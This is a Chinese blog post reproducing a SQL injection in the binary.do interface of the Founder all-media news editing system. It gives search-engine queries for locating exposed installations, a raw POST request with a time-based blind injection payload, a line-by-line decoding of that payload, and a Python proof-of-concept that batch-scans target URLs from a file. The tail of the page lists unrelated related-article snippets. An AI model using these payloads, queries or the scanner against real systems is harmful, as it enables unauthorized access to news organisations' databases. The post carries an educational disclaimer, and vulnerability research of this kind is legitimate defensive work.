【漏洞复现】方正全媒体采编系统——binary.do——SQL注入

news2024/11/16 7:35:33

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录

  • 漏洞描述
  • 漏洞复现
  • 测试工具


漏洞描述

方正全媒体采编系统(FZMediaEditor)是一款专业的新闻采编系统,用于新闻机构、媒体公司等组织进行新闻的采编、编辑和发布管理。其binary.do接口的pTableName参数对传入的数据没有预编译和充足的校验,导致该接口存在SQL注入漏洞,未授权的攻击者可获取数据库敏感信息。

漏洞复现

1)信息收集
fofa:body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
hunter:web.body="/newsedit/newsedit/"||app.name="北大方正全媒体采编系统"

我们的科学永远只是找到近似真理。
在这里插入图片描述
2)构造数据包

POST /newsedit/newsplan/task/binary.do HTTP/1.1
Host:ip
Content-Type: application/x-www-form-urlencoded

TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1

代码分析

TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1

这个payload经过URL编码,我们首先需要对其进行解码。URL编码通常用百分号(%)后跟两位十六进制数来表示特殊字符。下面是解码后的payload:

TableName=DOM_IMAGE where REFID=-1 union select '1'; WAITFOR DELAY '0:0:5'; select DOM_IMAGE from IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1

现在我们来分析这个解码后的payload:

  1. TableName=DOM_IMAGE where REFID=-1

    • 这是尝试访问名为DOM_IMAGE的表,并添加了一个条件REFID=-1。但通常TableName不应该包含where子句,这是SQL注入的一部分。
  2. union select ‘1’;

    • 这里使用了UNION操作符,尝试执行一个简单的select语句,返回字符串'1'
  3. WAITFOR DELAY ‘0:0:5’;

    • 这行代码是SQL Server特有的,用于使当前SQL语句执行延迟5秒。这通常用于时间盲注攻击,攻击者通过测量SQL语句的执行时间来推断数据库中的信息。
  4. select DOM_IMAGE from IMG_LARGE_PATH

    • 这又是一个SELECT语句,尝试从IMG_LARGE_PATH表中选择DOM_IMAGE字段。
  5. &FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1

    • 这些参数是Web表单的一部分,被用于构造SQL查询。

在这里插入图片描述
响应时间延迟5秒,存在sql注入。

测试工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import argparse
import time
from urllib3.exceptions import InsecureRequestWarning

# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# 定义红色和重置终端输出格式的常量
RED = '\033[91m'
RESET = '\033[0m'

def check_vulnerability(url):
    """
    检查给定URL是否存在特定的SQL注入漏洞。

    :param url: 要检查的URL
    """
    try:
        # 构造攻击URL和payload
        attack_url = url.rstrip('/') + "/newsedit/newsplan/task/binary.do"
        attack_payload = """TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A3%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1"""

        # 设置请求头信息
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0',
            'Accept': '*/*',
            'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Accept-Encoding': 'gzip, deflate'
        }

        # 记录请求开始时间
        start_time = time.time()
        # 发送POST请求
        response = requests.post(attack_url, headers=headers, data=attack_payload, verify=False, timeout=10)
        # 计算请求耗时
        elapsed_time = time.time() - start_time

        # 根据耗时判断是否存在漏洞
        if 3 < elapsed_time < 5:
            print(f"{RED}URL [{url}] 可能存在方正全媒体采编系统binary.do存在SQL注入漏洞{RESET}")
        else:
            print(f"URL [{url}] 不存在漏洞")
    except requests.exceptions.Timeout:
        # 请求超时,提示可能存在漏洞
        print(f"URL [{url}] 请求超时,可能存在漏洞")
    except requests.RequestException as e:
        # 请求异常,打印错误信息
        print(f"URL [{url}] 请求失败: {e}")

def main():
    """
    程序主入口,负责解析命令行参数并调用漏洞检查函数。
    """
    # 解析命令行参数
    parser = argparse.ArgumentParser(description='检测目标地址是否存在方正全媒体采编系统binary.do存在SQL注入漏洞')
    parser.add_argument('-u', '--url', help='指定目标地址')
    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')
    args = parser.parse_args()

    # 处理命令行参数
    if args.url:
        # 添加http协议头如果缺失
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            args.url = "http://" + args.url
        check_vulnerability(args.url)
    elif args.file:
        # 读取文件中的所有URL并检查
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                # 添加http协议头如果缺失
                if not url.startswith("http://") and not url.startswith("https://"):
                    url = "http://" + url
                check_vulnerability(url)

if __name__ == '__main__':
    main()

运行截图
在这里插入图片描述


须晴日,看红装素裹,分外妖娆。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1920279.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

华为交换机如何恢复出厂设置

华为交换机如何恢复出厂设置 用consol线连接交换机的consol口和笔记本相连打开securt-CRT软件&#xff0c;CRT软件设置如下图&#xff1a; 3.reset save然后输入Y 4.重启交换机 重启等待两分钟左右

数据结构:链表相关题目

链表反转 LeetCode地址&#xff1a;LCR 024. 反转链表 - 力扣&#xff08;LeetCode&#xff09; 头插法&#xff1a; class Solution {public ListNode reverseList(ListNode head) {ListNode h1 new ListNode(-1);while(head!null){ListNode index new ListNode(head.val…

同享TXEHR V15人力管理平台DownloadFile接口任意文件下载漏洞复现 [附POC]

文章目录 同享TXEHR V15人力管理平台DownloadFile接口任意文件下载漏洞复现 [附POC]0x01 前言0x02 漏洞描述0x03 影响版本0x04 漏洞环境0x05 漏洞复现1.访问漏洞环境2.构造POC3.复现同享TXEHR V15人力管理平台DownloadFile接口任意文件下载漏洞复现 [附POC] 0x01 前言 免责声…

批量制作word表格

问题背景 将excel表中的成绩内容制作为成绩单&#xff0c;每页对应一个学员的成绩&#xff0c;方便打印 代码实现 ## 导入包 import pandas as pd from docx import Document from docx.enum.text import WD_ALIGN_PARAGRAPH,WD_LINE_SPACING# 读取 Excel 内容 df pd.read_e…

FastAPI 学习之路(四十四)WebSockets

我们之前的分析都是基于http的请求&#xff0c;那么如果是websockets可以支持吗&#xff0c;答案是可以的&#xff0c;我们来看下是如何实现的。 from fastapi import WebSocket, FastAPI from fastapi.responses import HTMLResponseapp FastAPI()html """&…

mindspore打卡23天之基于MobileNetv2的垃圾分类函数式自动微分

基于MobileNetv2的垃圾分类 本文档主要介绍垃圾分类代码开发的方法。通过读取本地图像数据作为输入&#xff0c;对图像中的垃圾物体进行检测&#xff0c;并且将检测结果图片保存到文件中。 1、实验目的 了解熟悉垃圾分类应用代码的编写&#xff08;Python语言&#xff09;&a…

第11章 规划过程组(三)(11.11规划成本管理)

第11章 规划过程组&#xff08;三&#xff09;11.11规划成本管理&#xff0c;在第三版教材第403~404页&#xff1b; 文字图片音频方式 第一个知识点&#xff1a;成本管理概述 1、成本的类型&#xff08;重要知识点&#xff09; 直接成本 如项目团队差旅费、工资、项目使用的…

动态规划算法专题四--子数组系列问题

目录 题十八 最大子数组和 1、算法解析 1、确定状态&#xff1a; 2、状态转移方程&#xff1a; 3、初始化&#xff1a; 4、填表顺序&#xff1a; 5、返回值&#xff1a; 2、代码 题十九 环形子数组的最大和 1、算法解析 1、确定状态&#xff1a; 2、状态转移方程&…

浅析Kafka-Stream消息流式处理流程及原理

以下结合案例&#xff1a;统计消息中单词出现次数&#xff0c;来测试并说明kafka消息流式处理的执行流程 Maven依赖 <dependencies><dependency><groupId>org.apache.kafka</groupId><artifactId>kafka-streams</artifactId><exclusio…

OpenCV:python图像旋转,cv2.getRotationMatrix2D 和 cv2.warpAffine 函数

前言 仅供个人学习用&#xff0c;如果对各位朋友有参考价值&#xff0c;给个赞或者收藏吧 ^_^ 一. cv2.getRotationMatrix2D(center, angle, scale) 1.1 参数说明 parameters center&#xff1a;旋转中心坐标&#xff0c;是一个元组参数(col, row) angle&#xff1a;旋转角度…

Kafka基础组件图推演

文章目录 1. Controller Broker保障机制 2. 组件架构1. Log Manager2. Replication Manager3. SocketServer4. NetworkServer5. ZKClient 1. Controller Broker Kafka集群中有一个Controller Broker&#xff0c;负责元数据管理和协调。 Kafka使用Zookeeper作为集群元数据的存储…

利用js实现图片压缩功能

图片压缩在众多应用场景中扮演着至关重要的角色&#xff0c;尤其是在客户端上传图片时。原始图片往往体积庞大&#xff0c;直接上传不仅消耗大量带宽资源&#xff0c;还可能导致上传速度缓慢&#xff0c;严重影响用户体验。因此&#xff0c;在图片上传至服务器前对其进行压缩处…

【安全设备】入侵检测

一、什么是入侵检测 入侵检测是一种网络安全技术&#xff0c;用于监测和识别对计算机系统或网络的恶意使用行为或未经授权的访问。入侵检测系统&#xff08;IDS&#xff09;是实现这一目标的技术手段&#xff0c;其主要目的是确保计算机系统的安全&#xff0c;通过及时发现并报…

Renesas R7FA8D1BH (Cortex®-M85) 控制DS18B20

目录 概述 1 软硬件 1.1 软硬件环境信息 1.2 开发板信息 1.3 调试器信息 2 FSP和KEIL配置 2.1 硬件接口电路 2.2 FSB配置DS18B20的IO 2.3 生成Keil工程文件 3 DS18B20驱动代码 3.1 DS18B20介绍 3.2 DS18B20驱动实现 3.2.1 IO状态定义 3.2.2 读IO状态函数 3.2.3…

谷粒商城实战笔记-27-分布式组件-SpringCloud-Gateway-创建测试API网关

本节的主要内容是创建网关模块&#xff0c;将网关注册到Nacos&#xff0c;并配置路由进行测试。 一&#xff0c;创建网关模块 右键工程New->Module&#xff0c;创建新模块&#xff0c;模块名称 gulimall-gateway。 填充各种信息。 选中Gateway依赖。 点击Create创建模块。…

uni-app iOS上架相关App store App store connect 云打包有次数限制

相册权限 uni-app云打包免费有次数 切换一个账号继续

C语言 | Leetcode C语言题解之第230题二叉搜索树中第K小的元素

题目&#xff1a; 题解&#xff1a; /*** Definition for a binary tree node.* struct TreeNode {* int val;* struct TreeNode *left;* struct TreeNode *right;* };*/int search_num(struct TreeNode* root, int k, int *result, int num) {if(num k 1){retu…

JAVA之(static关键字、final关键字、抽象类、接口)

JAVA之&#xff08;static关键字、final关键字&#xff09; 一、 static关键字1、静态变量2、静态方法3、 静态代码块4、例子 二、final关键字1、final修饰类2、 final修饰方法3、修饰变量 三、抽象类1、 抽象类 四、接口 一、 static关键字 1、静态变量 private static Stri…

Java异常体系、UncaughtExceptionHandler、Spring MVC统一异常处理、Spring Boot统一异常处理

概述 所有异常都是继承自java.lang.Throwable类&#xff0c;Throwable有两个直接子类&#xff0c;Error和Exception。 Error用来表示程序底层或硬件有关的错误&#xff0c;这种错误和程序本身无关&#xff0c;如常见的NoClassDefFoundError。这种异常和程序本身无关&#xff0…

学习大数据DAY14 PLSQL基础语法3

目录 二重循环 三种循环随便嵌套 exit continue return 作业 数据提取 游标 隐式游标 显示游标 动态游标 游标使用流程 游标属性 游标配合循环使用示例 作业2 参数游标 current of 语句 作业3 PLSQL基础语法&#xff08;三&#xff09; 二重循环 三种循环随便嵌…